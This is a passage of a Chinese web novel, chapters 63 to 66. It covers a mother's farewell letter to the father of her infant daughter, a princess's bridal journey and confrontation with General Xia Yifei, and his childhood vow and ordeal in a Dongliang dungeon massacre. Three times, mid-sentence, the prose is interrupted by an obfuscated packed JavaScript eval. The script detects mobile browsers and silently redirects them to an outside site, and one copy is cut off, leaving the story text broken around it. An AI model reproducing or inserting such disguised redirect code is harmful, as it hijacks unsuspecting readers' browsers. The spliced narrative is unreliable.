我无力地趴在书案上,憋了一夜,终于在夜深人静时尽情释放。 护送星辰的车马天未亮便悄然出发。怕引起东凉人的注意,马车停在离军营较远的地方等候,我和宁安桥抱着熟睡中的星辰踏着浅草赶去马车边。贺祈安特地从环州请了位奶妈跟着,怕路上星辰找不到奶喝。 怕打草惊蛇,没能和星辰再说句话,马车便匆匆启程。 晨光微露,秋风卷起几片枯叶,在空中打着旋儿。 我死死抓着宁安桥的手腕,泪水无声地滑落,像是断了线的珠子。若不是他紧紧拽着我,我恐怕会忍不住冲出去,追上那渐行渐远的马车。 “星辰……” “娘亲不想离开你……” “娘亲还没看着你学会走路,学会说话,学会叫我一声……” 我转身埋进宁安桥的胸膛,突然听到不属于我的呜咽,抬头发现,魁梧的男人现在冷峻的面庞挂满泪水。 平日坚如磐石的男人,此刻却像一座崩塌的山。我从未见过他脆弱的面,心中一阵酸楚,伸手轻轻擦去他脸上的泪痕。 “你别哭啊……看你哭,我更想哭了……” 宁安桥一把擦掉脸上丢人现眼的东西,把我紧紧揽入怀中,摩挲我的后背。 “我没哭。” “还说没哭……眼泪都掉我身上了。” 日出在即,我也该朝着反方向开启下一段故事了。 ———————————— 颜卿亲启: 这恐怕是我最后一次给你写信。事关机密,原谅我不能一一告知。 连同此信一起到来的,还有一个娃娃,你应该已经见到了。她叫星辰,从边疆离开时刚满七个月,算算时间,我猜你见到她的时候,应该有十个月大了。 还记得那句诗吗,,你告诉我的:颜如卿月,诞星辰。 我答应会送你一颗星星,但没想到是这么一种方式。其实,离开信州时,我已怀有身孕。那些总是呕吐的日子,根本不是胃病,而是孕吐。很抱歉,现在才告诉你。从我知道星辰的存在起,我很害怕告诉你,也怕你知道,一直藏着掖着躲着。我终究是要离开的人,尽力想带走一切,抹掉我在你身上留下的痕迹。星辰的到来太过突然,直到离开我也没有做好告知你的准备。 比起娘亲,她更适合待在爹爹身边。有爹爹保护她,给予他义无反顾的爱,就像爹爹对娘亲那样。我一直跟她讲,爹爹是个多好的人。给她讲你在信州的传说,和逸闻趣事。她明明听不懂,却还笑着回应我。 还没亲口问过你,喜不喜欢颜星辰这个名字?排除过颜四月和颜星,最后决定用星辰。 你觉得星辰最像你的地方是哪里?我觉得是眼睛,还有她右脚脚踝上的那颗痣。同样的位置,我记得你也有一颗。小家伙似乎知道爹爹在东南方向,每次抱着她,她总喜欢指着那边,嘤嘤呀呀地说着什么。我猜,她是在喊爹爹的名字吧。 真想见到她长大的样子,也想亲眼看着她出嫁,也想你。 勿念,无期。 南风谨上 63. 夏云深逸 清晨,太阳缓缓爬升,金色的光芒洒在大地上,给一切都镀上了一层温暖的色彩。和亲的队伍已经在军营外整装待发,马匹的蹄声轻轻敲打着地面,士兵们的铠甲在晨光中闪烁着微光。 我坐在东凉迎亲的马车里,车厢内铺着柔软的锦缎,掀开车窗的帘子,透过缝隙望向外面。宁安桥同两位将军并排目送,还有一张张熟悉的面孔。 临别前他说,人只要活着,就会有再见面的一天。哪怕是在梦里。他说话抬眼时,深邃的目光注视着我,认真地像在许下一个郑重的承诺。 我没有回答他。 夏逸飞站在队伍的最前方,身姿挺拔如松。 “出发!” 随着他一声令下,队伍缓缓动了起来。车轮碾过坚硬的地面,发出轻微的声响,马蹄声渐渐密集,伴随着士兵们整齐的步伐,整个队伍如同一道缓缓流动的河流,向着远方行进。 东凉皇帝举行的迎亲婚宴是次日,当晚,夏逸飞安排我们住在兴庆府的一家客栈。 我站在客栈二楼的窗前,推开雕花的木窗,一阵清凉的夜风扑面而来,残留着淡淡的桂花香。悬挂深夜的月,银辉洒满屋瓦,远处群山如墨。偶尔有行人走过,脚步声在寂静中格外清晰。月光透过窗棂,无声地洒在屋内,为这异乡夜添了一丝静谧与温暖。 星辰此刻停在哪家驿站休息呢。 门外不断有巡逻的士兵路过的声音,偶然听见窸窣地交谈声。 突然,一个身影从上方轻巧跃下,稳稳落在我的窗台上,动作干净利落,仿佛夜行的猫。月光勾勒出他挺拔的轮廓,是夏逸飞。 我紧张地吞咽了一下,一时不敢轻举妄动。 “明日进宫,陛下设宴迎接公主。我怕公主想家睡不着,所以来看看。” 谁家关心人是从窗户翻进来的。 我不太想搭理他,转身走到床沿端庄坐下。 “多谢将军的关心,我很好,你可以下去了。” 他却逐步靠近,单膝跪在我身侧的床铺上,俯身凑近,眼神直勾勾地盯着我,像是要把我看穿。 “我说了我没事,将军这是做什么?” 他没吭声,眼神冷得像冰,手却突然动了,一把抓住我的衣领。下一秒,他猛地一扯,衣领被掀开,凉飕飕的风灌进来。我心头一紧,还没来得及反应,他的目光已经落在我身上,胸前的一切被他一寸一寸扫过。 “你!你做什么!” “梅花印呢?” 心里一股火气直冲脑门,我想也没想,一把将他推远,抬腿就朝他肚子踹了过去。这一脚用了全力,鞋底结结实实撞在他腹上。他闷哼一声,身子猛地一弓,踉跄着往后退了几步,手捂着肚子,眉头皱得死紧,眼神却还是死死锁在我身上,像是没想到我会来这么一下。 “大胆!我可是公主!” 他活动着筋骨,沉着声说:“我知道你不是。快说,胸口的梅花印为什么消失了?” 他又一把钳住我的手腕,力气大得我挣不开。 “我身上从未有过印记,不知道你在说什么。”我拼命挣扎,五官皱成一团,“松开我!” “我知道是你,你别想唬我。” 我狠狠瞪着他,捏紧手心努力让自己的声音听上去平稳而有耐心。 “我也知道我现在大喊出声,史丞相和外面巡逻的士兵听到会有什么后果。” “威胁我?你可知道你现在犯下的罪,可是会掉脑袋的。” “我就是公主。” “你不是。”他语气坚定,“你骗得了所有人,唯独骗不了我。” “夏将军为何如此肯定?可有什么证据?” “你胸口的梅花印。” “我胸口什么都没有。” “我说你有,你便有。” “……” 我默然不语,跟一意孤行的人说什么都是白费口舌。 “我跟将军无法交流,请回吧。” 他径直走到窗边,眺望东凉皇宫。 “过了今夜,你就是东凉皇妃。”他说着转身看我,“你还有机会。” “机会?”我了然一笑,“身为东凉大将军,竟然要帮我逃婚?” “愿意一试。” 我暗暗嗤笑,坚定地抬起头:“多谢将军。我是抱着两国友好来和亲的,不会逃婚,请回吧。” 可是他没有就此善罢甘休,问出一个我不能理解的问题。 “你要是嫁给陛下,我怎么办?” “你怎么办?” 管你怎么办。但我没有说出口。 我沉思片刻,给出了答案:“继续做你的大将军,该干什么干什么。” “……骗子。” 四周太过安静放大了他声音里的凛冽。 我的心突然变得很沉重。不是因为他骂我骗子,而是这个词太适合我。 “我想将军是有什么误会。起初我也怀疑过我们是不是旧识,但种种迹象表明,你认错人了。将军是东凉的将军,而且将军认识的人胸口有梅花印。姑且只是长得相似罢了,我不是将军认识的人。” “风。” “什么?” “你的名字,带一个风字,对不对?” “……”我紧紧地盯着他,“风不是什么稀奇的字,同名的人不计其数。” “我说是你,一定是你,不必与我白费口舌。” 他一步步向我走来,他背着窗外照进的月光,脸上的神情看不真切。 “我不是东凉人。当初分开,是因为我被东凉密军抓走了。别跟我说你把这些通通忘了。” 入夜,在床榻上辗转了两个时辰,我依旧没有困意。 真就一点都想不起来吗…… 玉笛静默着躺在枕边,对我的提问偶有回答。我如果叫它吹奏一曲,它会毫不犹豫地响起同一首曲子。我如果问它关于重生前的事,它便装作一支普通的笛子默不作声。 我脑子一转,突然想起了之前山洞内神像说过的话。 “神器会指引我,例如引梦……”我一把握住玉笛,目光灼灼地盯着它,“帮我做场梦吧,我想见一个人,我想见方大仙。但前提是,这场梦,我要醒来后还记得。如果你不能答应我这一点,这梦,不引也罢。” 说着,我将玉笛护在胸口,闭上双眼。 “拜托了……求你了……让我见见他吧。” 一缕金光乍然闪现在眼前,一头牵引着我的手,一头连着接虚幻的仙境。我还未反应过来,眼前的景象乍然改变。 我转头,背后就是背着手的方大仙——他眉头紧锁,微垂的目光里倒映着另一幅光景。我顺着他的视线再次回头,虚无的幻景变成了一方庭院,熟悉的竹林、熟悉的池塘、熟悉的屋舍。 “这里是……” “蓬莱第几宫。” 300年前,柳砚清求学之地。原来这个地方的名字就叫蓬莱第几宫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271582|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻笙家窗外的竹林,医鹿山后山的莲池和屋舍。柳砚清曾说后山小院的一切都来自仙界,我猜测是重生前的我留下的,如此看来,是将蓬莱第几宫的模板照搬到了人间。 我看向身旁的方大仙,许久不见,他似乎苍老了些。 “大仙是听到了我的话,才入我的梦吗?这次,不可以再消除我的记忆了。我们提前说好的。” “放心吧,答应你的事,我向来说话算数。” “哪里说话算数了……” 虽然记不太清楚,但他消除我的记忆,可不止一次两次。 “凡事有特例。”他的神情温柔,“说吧,找我有什么事。” “你……知道我在人间发生的事吗?” “知道。” “那你一定知道我的另一个孩子现在在哪里,对不对?” 恐怕是我问出的问题与方大仙预想的不同。听到我的问题后,他迟疑了片刻。 “知道,在地府。” “他还好吗?” “我没有见到他。” 心脏像是被什么紧紧捏住。连方大仙也见不到他,我又如何能再见到他。有想过试图找到黑白无常,带我去地府见一见那个未出生的孩子。眼睛涩的生疼,我缓慢地闭了闭。 方大仙继续说:“你在信州与他成亲之前做过的一场梦,还记得吗?你所看到自己抱着的孩子,不是女娃。” 上一次的梦?忽然,眼前的画面不受控制地闪烁着。幽深空荡的境界,一束光落下,照亮女人抱着怀中孩子的样子。我站在一旁,看着不可思议的一幕。那个人是我,怀中的孩子,不是星辰。不是女娃,是个男娃。 “大仙的意思是——!” 我急得瞪大眼睛,方大仙揉了揉我的头顶。 “你会再见到他的。” 许久我都没再说话。或许是我此时的样子太过难看,方大仙在望向我的瞬间,眉头微微蹙起。 “照顾好自己,努力活下去,你才能再见到他。你这般愁眉苦脸,小心心神不稳,捡回来的命又没了。” 我明白,他说的我都明白。 无论是未出生的孩子,还是星辰,想再见到他们,我都必须努力活下去,至少活着离开东凉。 可我真的能离开吗……明日之后,踏进东凉皇宫,我真的还有可能再出来吗? 心口又开始揪得痛。 “对了,我又获得了一个新名字,算算已经是第……四个呢。” 我故意撇开话题,不想让方大仙看到我愁眉苦脸的样子又担心起来。 “哦?叫什么?让我听听以你的取名天赋又搞了个什么新奇的名字。” “南风。”我大笑着,“蛮好听的呢,对吧。” “南风?” 身后传来一声惊呼,我回望过去,居然站着一男一女,彼此间颇有几分相像,与我,也有几分。 紫衣仙子快步走上前握住我的手,问道:“你说,你知道的新名字,是南风?” 一同前来的秀气十足的男仙接着问:“那你的记忆呢?有没有想起什么?” 我摇头。 空气陷入紧绷的沉默,方大仙冷哼了一声,故作无奈地叹了口气,起身欲要离开,我立马叫住他:“大仙去哪儿?” “找柳砚清问话。” “师尊?!我也去!” “不行!”他顿了顿,再次开口的语气里透露出威胁的意味,“以后,不许叫他师尊。” 64. 洛城春晚 洛城的春天相比同路府的春天来的稍晚些。 少年盘坐在百年老柳下,粗粝的指节正与柔韧的柳条缠斗。淡黄花冠在膝头初现雏形,露水顺着歪斜的藤纹滚落,洇湿了粗麻衣襟。远处细碎的铃铛声渐近,他慌忙将半成品塞进怀中。 “逸飞哥哥!” 韩风提着月白裙裾跑来,发间别着的迎春花扑簌簌落在少年肩头。她举起编得歪歪扭扭的柳环,浅杏色发带被风吹得缠上柳枝,“你看我新编的柳条帽怎么样?” 夏逸飞接过草环,就着阳光调整断裂处:“这里要收尾时多绕半圈才不会散开。”忽从背后变出个缀满星子花的藤冠,紫白相间的小花在晨光里流转,“这个才配得上云溪村最灵巧的姑娘。” 少女眼睛亮晶晶地拽起他衣袖:“我发现那边有一簇白色的小花,我带你去看!” 夏逸飞腰间木剑撞在溪石上叮咚作响,他反手握住韩风纤细的手腕:“慢些跑,当心青苔。” 蒲公英纷飞的浅滩,韩风踮脚去够岩缝里的白花,鹅黄腰封衬得身姿如初绽的柳芽。转身时却见少年膝头摆着两个新编的柳冠,晨露在嫩叶上凝成七彩光晕。 韩风跪坐在青石上编织新柳环,浅碧色腰封随动作泛起涟漪。夏逸飞望着她翻飞的指尖,柳枝在葱白指节间化作精巧的环。 “干嘛又编一个?” “这个归你,这个归我。” 突然扣上少年发顶的柳冠惊飞了栖息的翠鸟,以及无法平息的鼓动。 “逸飞哥哥,你看那边!” 韩风忽然停下脚步,指着不远处一片开满紫色小花的山坡,眼中满是惊喜。她手里提着一个小竹篮,篮子里已经装了几朵刚摘的野花。 “是紫云英,开得真旺。走,我们去摘一些。” 韩风提着裙摆,轻快地跑向花丛,夏逸飞则紧跟在她身后,目光始终落在她的背影上,生怕她一不小心被石头绊倒。果然,韩风跑得太急,脚下一滑,身子向前倾去。夏逸飞眼疾手快,一把拉住她的手腕,将她稳稳扶住。 “慢点,这山路不平,小心摔着。” 韩风笑嘻嘻地说:“有逸飞哥哥在,我才不怕呢!” 夏逸飞无奈地摇摇头,松开她的手,却依旧走在她身侧,随时准备护着她。 “逸飞哥哥会不会太小瞧我了?哪有那么容易摔。而且娘亲说了,摔一摔是好事,以后跌倒才好爬起来。” “只要我在,我就不会让你受伤。” 韩风了然笑着伸出手,“那你可要牵好我,别再让我摔着了。” 夏逸飞心头一阵悸动,轻轻握住她的手:“好,我牵着你。” 山野清河,暮色轻笼,走走停停。 霞光渐褪,映亮她眼底的笑意。两人影子在暮色中交叠,风过野花,香气弥漫。她别过发丝,他心绪暗涌,如春芽初绽。 “逸飞哥哥长大以后有什么梦想?” 他忽然单膝点地,握紧短刀在石上擦出火花:“我想——上阵杀敌,保家卫国。前些日子到村里的李师傅据说在收徒教授武功,我想跟他学武。” “那不是很危险。万一……我们就再也见不到了。” 夏逸飞咧嘴一笑,拍了拍胸脯:“放心吧,我这么厉害,不会死在战场上的。” 韩风撇了撇嘴,伸出小拇指:“拉钩。你答应我,一定会回来。” 夏逸飞摇摇头,一脸认真:“拉钩信用不高,我发誓给你听!” 他站起身,抬头望天,声音洪亮。 “我夏逸飞,对着天,对着地,对着韩风发誓!将来上阵杀敌,夺取功名后,一定回到这里。活着回来,娶韩风为妻!” 十四岁的少年对着十三岁的少女说什么呢! 韩风的脸一下子熟透,她急得直跺脚,羞恼地推了他一把把脸藏起来。 “你——你怎么说得出口!我们才多大啊,就……私定终身……” 夏逸飞笑嘻嘻地凑近她:“韩风妹妹不想嫁给我吗?” 韩风娇羞地低下头,手指绞着衣角:“我说了不作数,得听爹爹的。” 少年得意地扬了扬眉毛,信誓旦旦挺起腰:“韩叔叔可喜欢我了,一定会答应的。要不……我现在就上门提亲?” 少女急了,伸手拽住他的袖子,生怕他一不留神就真跑去提亲。 “说什么玩笑话呢,你快坐下吧。” 夏逸飞从小无父无母,自李师傅到村子后两人形影不离,李师傅待夏逸飞如父亲般,夏逸飞跟他走,或许是条对的路。 想到这里,韩风稍微松了一口气,也许自己的担心是多余的。 毕竟他可是逸飞哥哥,无论在什么情况下都能自信满满、如同太阳般温暖的他,韩风慢慢攥紧了手心,想牢牢抓住这份停留在掌中的温度和力量 “等逸飞哥哥离开后,我也会离开。” 夏逸飞一愣,转头看她:“去哪儿?” “进宫当宫女。年满二十五就能回来。” “那我们约定好,等妹妹你年满二十五回到这里,我也赶回来,我们就成亲!” 韩风脸上的红晕还未消退瞬间又红个透彻。 “逸飞哥哥干嘛左一个娶我右一个成亲……” 夏逸飞咧嘴笑着揉了揉韩风的头顶。 “这不怕你忘了嘛,谁让你记性不好。” “我记性可好了,连逸飞哥哥家那么远都记得位置。” 夏逸飞挑了挑眉,故意逗她:“可我的生辰却不记得。” 韩风有些心虚地低下头,小声嘀咕:“生辰太难记了,好几个数字呢。” 夏逸飞得意地笑了:“我就记得你的,十月十五。” “逸飞哥哥的是……?” “不告诉你。” “怎么这样!明明知道我记不得,你就告诉我嘛。” “不~” 韩风气鼓鼓地松开手,扭过头去:“那我也不答应逸飞哥哥。” 夏逸飞伸手戳了戳她的脸颊:“两码事,不可相提并论。” 少女转过头,冲他做了个鬼脸:“我说可以。” 少年也学着她的样子,吐了吐舌头:“不可以!” 韩风忍不住笑了,又冲他吐了吐舌头:“略略略!” 夏逸飞看着她那副调皮的样子,忍不住也笑了。夕阳下,两人的笑声回荡在空气中,仿佛连风都变得温柔起来。远处的小狗似乎也被他们的笑声感染,欢快地跑过来,围着他们转圈,尾巴摇得像个小风车。 韩风伸手摸了摸小狗的头,轻声说道:“逸飞哥哥,你要记得,不管去哪里,都要平安回来。” 夏逸飞看着她,眼神温柔:“嗯,我一定会回来,带着功名,风风光光地娶你。” 韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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韩氏自己也有些恍惚,低头看了看怀里的孩子,胸口那梅花胎记在风里显得格外鲜艳。她喃喃道:“韩风,这名字,咋样?” “韩风……好名字!” 两口子再抬头看那梅花树,白衣女子已经不见了,只有几片梅花瓣还在风里打着旋儿,像是她留下的影子。男人揉了揉眼睛,嘀咕道:“刚才是不是眼花了?咋觉得那儿站着个人呢?” 韩氏笑了笑,没接话,只是低头看着女儿,轻声说:“韩风啊韩风,这名字是仙女给的,日后若是遇到什么事儿,神仙一定会帮你的。” 山顶的论道台上,两名白衣仙人对坐。 方大仙望着朝山下走去的一家三口,轻叹息:“你娘亲走得早,以前我们在凡间也经历过同样的事情。抱着你大哥登上清溪山,求神仙取名字。” 南风仙子看过去,诧异道:“神仙请神仙取名?” “那时候我们皆是凡人。在凡间历劫时相爱,生下了你大哥北雷。” “所以某种意义上来讲,大哥算凡人?” “谈论被北雷之前,还是先担心你自己吧。” “我?” “仙人赐名,日后,必要替此凡人挡一次灾。” “我没有赐名,只是制造了幻境,让他们看见罢了。” “然后他们得出了韩风一名。” “……这也算。” “契约已定,天命难违。那孩子此生会遇到一场大劫,韩风的名字是你给的,这场大劫注定要有你去替她承受。” “爹爹已经看到未来了?要不跟我提前透露一下是什么大劫?” 方大仙看了眼自己不成器的小女儿,无奈叹息。 “此劫名为情囚。” 65. 芳草长川 夏逸飞是在扑鼻的血腥味中醒来的,掌心触及冰冷的地面,发现一切都变得截然不同,压抑而诡异。 不过穿出一片树林,自己窝在草堆间睡了一觉,怎么就从赵国的光景转眼成黑石砌成的牢狱。 “师傅,我们这是……在哪儿?不是去西川吗?” “我们在东凉,地牢。” “东凉?!” 夏逸飞连忙坐起身,紧贴到墙角的位置谨慎地观察着外面的情况。 地牢狭窄逼仄,墙壁由漆黑的石块垒成,缝隙间渗出暗红色的水痕,像是干涸的血迹。头顶悬着一盏残破的油灯,火光微弱,在穿堂而过的阴风中摇曳,将扭曲的影子投在墙上,如同鬼魅般晃动。走廊深处传来铁链拖地的声响,还有不知是人是兽的低沉喘息,一声声敲在耳膜上,让人脊背发寒。 “我们……为什么会在这里?” 师傅从始至终淡定自若地盘腿坐在角落,无论表情还是内心都波澜不惊。 “为了接受考验。” “考验?什么考验?谁考验我们?” “不是我们,是你。”师傅的声音平静得可怕,“从此刻起,你要学会在东凉活下去。这里不需要弱者,更不需要……犹豫不决的人。” 说罢,师傅站起身,门外不知何时躲在暗处的狱卒走到门口,打开铁栏上的锁,待师傅走出后再次锁上。 夏逸飞不解,以为师傅要被带去行刑。 “师傅!你们要带我师傅去哪儿!” 夏逸飞扑到牢门前,却被铁栏阻隔。他这才注意到牢门上布满了深浅不一的抓痕,有些痕迹里还残留着暗红色的血迹。 “逸飞。” 师傅回头,月光从高处的通风口斜射进来,照在他棱角分明的脸上,“从此以后,你不许再掉一滴眼泪,要活下去,全靠你自己。记住我的话,永远牢记。” “师傅——” 师傅转身离去的背影渐渐被黑暗吞噬,两个狱卒一左一右地押送着他。夏逸飞死死盯着他们的背影,直到脚步声完全消失在走廊尽头。 地牢重归寂静,只剩下远处不知何人的痛苦喘息,和老鼠窸窸窣窣的爬行声。 夏逸飞蜷缩在牢房角落,数着从头顶岩缝滴落的水滴。 “嗒、嗒、嗒……” 水滴在石板上砸出深浅不一的凹坑,他必须伸长脖子才能接到几滴。舌尖触到冰冷的水珠,喉咙里火烧般的灼痛才稍稍缓解。这已经是第三天了,腹中空得发疼,胃袋像被一只无形的手攥紧又松开。 墙角的老鼠窸窸窣窣地爬过,黑豆般的眼睛在暗处发亮。夏逸飞盯着它们看了很久,突然伸手一抓——指尖只碰到一截冰凉的尾巴。老鼠尖叫着窜进墙缝,留下几道带血的抓痕。 “已经饿到吃老鼠了吗……”他自言自语,“韩风妹妹说老鼠吃了会生病……不能吃……” 自从师傅被带走后,整整三天过去,竟再没听到任何动静。没有狱卒的呵斥,没有犯人的惨叫,甚至连每日例行的巡查都没有。只有岩缝渗出的水珠滴落声,在死寂中显得格外刺耳。 这里真的是地牢吗? “我会饿死在这儿吗……” 打破一切的突变是在第五天。所有人都被逼到了极限。不知道从哪里传来的巨响如一声号令,煽动了地牢里所有“囚犯”蠢蠢欲动的心。 夏逸飞正用那截骨头在墙上刻着记号,突然一声震耳欲聋的爆炸声从地底传来,整个牢房都在颤抖。墙灰簌簌落下,远处传来石块崩塌的闷响。紧接着,此起彼伏的喊叫声在走廊里炸开。 “机会来了!” “冲出去!” “杀光所有人,就能活下去!” 没人知道是谁下发的这条命令,鬼使神差的,所有人已经拿起手边能用的工具,毫不犹豫地砍向另一个人的脖颈、头颅。部分牢房的锁何时被打开,第一批逃出去的人见人杀人,眼皮都不眨一下。 突如其来的爆炸、越狱、互相残杀,一切都像是某个精心计划中的连锁环节。 夏逸飞贴在铁栏边,看到对面牢房的人不知何时已经撬开了锁,正用一根磨尖的骨头捅进另一名囚犯的喉咙。鲜血喷溅在墙上,在油灯下泛着诡异的光泽。 无差别杀人,见人就杀。 “啊啊啊啊——!啊啊啊啊啊啊——!” 沉寂了三天的地牢,立刻回荡起此起彼伏的惨叫声。 现在的情况看起来,不仅仅是要制造一场无序的混乱,更像一个荒野怪兽的竞技场。囚犯们像疯了一样互相撕咬,有人甚至为了一把生锈的钥匙扭打在一起。对面那个曾受到惊吓挂在天窗铁栏上不敢下来的少年,此刻正骑在一个壮汉背上,用牙齿撕扯着他的耳朵。 毛骨悚然的一幕,吓傻了的夏逸飞愣在原地瞪大了眼睛看着。 忽地,那双黑洞般的眼睛看向夏逸飞,如饿兽一般扑过来,扒在铁门上,手臂穿过缝隙试图抓住他。几次失败,只好悻悻而返,寻找下一个目标。 铁栏上还留着醒目的血红色,是刚才的少年抓握时留下的。好在自己牢狱的门锁还安然无恙,否则眼下死的就是自己了。想到这儿,夏逸飞脚上一软,彻底脱力跌坐在地上。 不幸中的万幸。 走廊依然是无边的黑暗,闻不到硝烟的味道,估计爆炸声是从楼外传来的。 夏逸飞试探地朝铁栏移动了半步。突然间,剧烈的爆炸声接连响起,头顶的板砖隐约传来震动和千军万马碾过一般的声音。 眼前的种种事情发生得太过突然,像是戏文中常见的越狱劫囚、混战戏码。 夏逸飞撇见不远处两位负责看守的狱卒,他们互相对视了一眼,竟没有上前阻拦,反而装作无事发生的移开了视线,站到了更远的位置。 到底,是什么情况…… 突如其来的阴风裹挟着血腥味灌入走廊,夏逸飞的后颈汗毛倒竖。就在他愣神的刹那,一道黑影闪过,寒光乍现—— “咔嗒”一声,铁门锁头应声落地。夏逸飞瞳孔骤缩,只见一只骨节分明的手正收回匕首。 这是在……帮他越狱? “你是谁?为什么帮我?” 铁栏外的人闻声抬头和他对视,黑色的面纱只露出一双水灵的眼睛。看见那人的正面,夏逸飞微微一愣,好像在哪里见过他……? 不对,是“她”,那是个女人?! 他想起身向她靠近,却忽而被嘈杂的声音吸引了视线,再看向那个位置时,早已没有了人影。 凭空消失了?! 管不了那么多,咽下最重要的是如何逃出去。 夏逸飞抬脚小心地踢开门,生锈的铁栅栏发出刺耳的呻吟。门锁的确是被打开了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287601|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他谨慎地把着铁栏向外观望。混乱的主战场已经转移,外面的脚步声渐弱,夏逸飞又观察了片刻后,闪身贴到了走廊边。整个牢狱静得连老鼠的声音都不可闻,贴着墙壁仔细辨别大部队已经走远。 机会来了!得赶紧找到师傅! 他清晰地记得三天前师傅被带着朝那个方向走了。尽管不确定时间到了现在,师傅依旧在那儿,总要试一试才知道。 东凉的地牢很大,错综复杂。除了牢房里偶尔有天窗透些月光进来,几乎一片黑暗。 凭着方向感还没走几步,远处的黑暗中突然传来一声犀利的惨叫和利刃入肉的闷响,紧接着是接二连三的哀鸣声。接着是重物倒地的震颤,惨白的月光从通风孔斜射下来,照亮地上一道蜿蜒的血溪。 夏逸飞尽量不让自己低头看地上的东西,就算脚不小心踢到也强忍着不去看。绝对不能让自己看到地上的尸体呈现什么表情,会吓到腿软,就走不出去了。 地牢那么大,师傅到底在哪里? 夏逸飞如同暗道里的老鼠擦着墙壁飞快地奔跑,不放过任何角落。一路上磕磕绊绊地擦碰到不少坚硬的锐物,却丝毫没有疼痛的感觉,此刻内心的担忧压过了任何别的感受。 必须尽快赶往师傅身边!哪怕死,也要爬到师傅身边! 为了避免在地牢中逃亡时迷路,他聪明地在走过的岔路口用地上的血做记号。血液浓稠,不知道混杂了多少个人的血。黑色的布鞋已被染尽,只是黑灯瞎火的,看不清罢了。 终于,他看到了那个熟悉的背影。 “师傅?!” 夏逸飞没有任何的犹豫,摸着黑匆匆往那里赶。 “师傅我们快走吧!这群人都疯了!他们居然开始自相残杀,我们——” “逸飞。” 师傅有些急躁地打断了夏逸飞,他怔怔地看着师傅。 “从今以后,誓死效忠于东凉,你要在这儿刻苦磨炼,将来成为东凉的大将军,替东凉……消灭赵国。” “师傅你在说什……” “答应师傅,师傅就带你活着出去。否则,你就待在这儿吧。” “不!我跟师傅走!” 面前的人良久没有说话,夏逸飞急了,嶙峋的手扯了扯师傅的衣袖,想让他说句话。 “跟紧师傅。” 师傅举起神臂弓,夏逸飞跟在身后,用脚轻轻带开了虚掩的地牢大门。 映入眼帘的不是东凉的天,而是更长更深的甬道,且横尸遍野。空气中弥漫着浓厚的血腥味道,似乎证明着这一次自己是实实在在地来到了这里,刚才混乱的主战场—— 人间炼狱,非死即生。 撕心裂肺的惨叫声再度落入耳中,夏逸飞蜷缩在地上几度呕吐,但因为饿了几天,肚子里什么都没有,只吐出来一些水。肩膀上多了一道可靠而稳重的温度,夏逸飞睁开眼,对上了一道沉着的视线。 “要活下去。” 少年的眼窝何时堵满了泪水。 夏逸飞正想说些什么,师傅忽然叹了口气,向他伸出了掌心。 “最后一次,允许你牵着我的手走出黑暗。但此之后,你都要一个面对黑暗,战胜黑暗。” 犹豫片刻,夏逸飞重重点头,努力咽下作呕的感觉,把手放入师傅的掌心上用力地握住。 “我记住了!” 66. 维子之故 夏逸飞马不停蹄地跟着师傅跑着,爬过狭窄的暗道。他忍不住心想,师傅生在赵国,为什么要替东凉人消灭自己的家国。 冲出地牢,外面是一个巨大的广场,广场四个角落燃了火堆,夏逸飞忧心忡忡地望着校场中央,只是那里一片漆黑,仅凭微弱的月光和火光根本难以看清。隐约看到什么堆成了一座谷堆似的山包,散发出家禽烧焦的味道,有什么顺着流下来,在地上晕染开。 那是尸体吧…… 手心不断冒汗,尽管师傅紧紧牵着自己,还是止不住的发抖。正胡思乱想着,另一头黑暗里传来一阵窸窸窣窣的脚步声,两人同时看向那个方向。 同样是从地牢逃出来的人,但两边刚打照面不是寒暄或互相道喜,而是拿出手中的武器蓄势待发。 师傅打量对方领头的人,轻蔑一笑:“你们也是从赵国逃来东凉的。” “不关你的事!” 对方不耐烦地开口,目光略带轻蔑地在夏逸飞身上扫视一圈。 “带个娃娃来东凉?看来你是没打算活着走出这地牢了。” 师傅发出一声冷笑,“逃不出去的,是你们。” 无情、冷血,夏逸飞认识师傅一年半载第一次听见师傅嘴里发出如此没有人情的声音。 但相比师傅的反常,眼下还有一个更重要的问题。夏逸飞心知肚明,摈弃杂念,死死瞪着对面的一伙人。 那领头人啐了口血沫,咧嘴一笑:“既然都是逃命的,你身上的伤也不轻,我们一伙兄弟伤的伤,残的残。兄台也是江湖中人,不如咱们就按江湖规矩——单挑定生死。”他指了指身后一个满脸横肉的胖子,“眼下只有我这兄弟还能拼上一拼,就他和你手里的娃娃一局定生死。” 双方都伤势惨重的情况单挑是不可避免的。但如此明目张胆的以强欺弱,显然,对方是要将夏逸飞置于死地后,连同师傅一起抹杀。 为了让师傅放心大胆放自己去拼一把,几次深呼吸给自己壮胆后,挣开师傅牵着积极的手。 “师傅,终于轮到我保护你了。” 夏逸飞活动着筋骨上前一步,瘦弱的身躯连续饿了几天,拼着意志力勉强让自己充斥了些斗志和力气。 胖子狞笑着上前,粗壮的手臂上青筋暴起。发黄的牙齿裂开,发出惊天怒吼。夏逸飞喉结滚动,不自觉地后退半步。 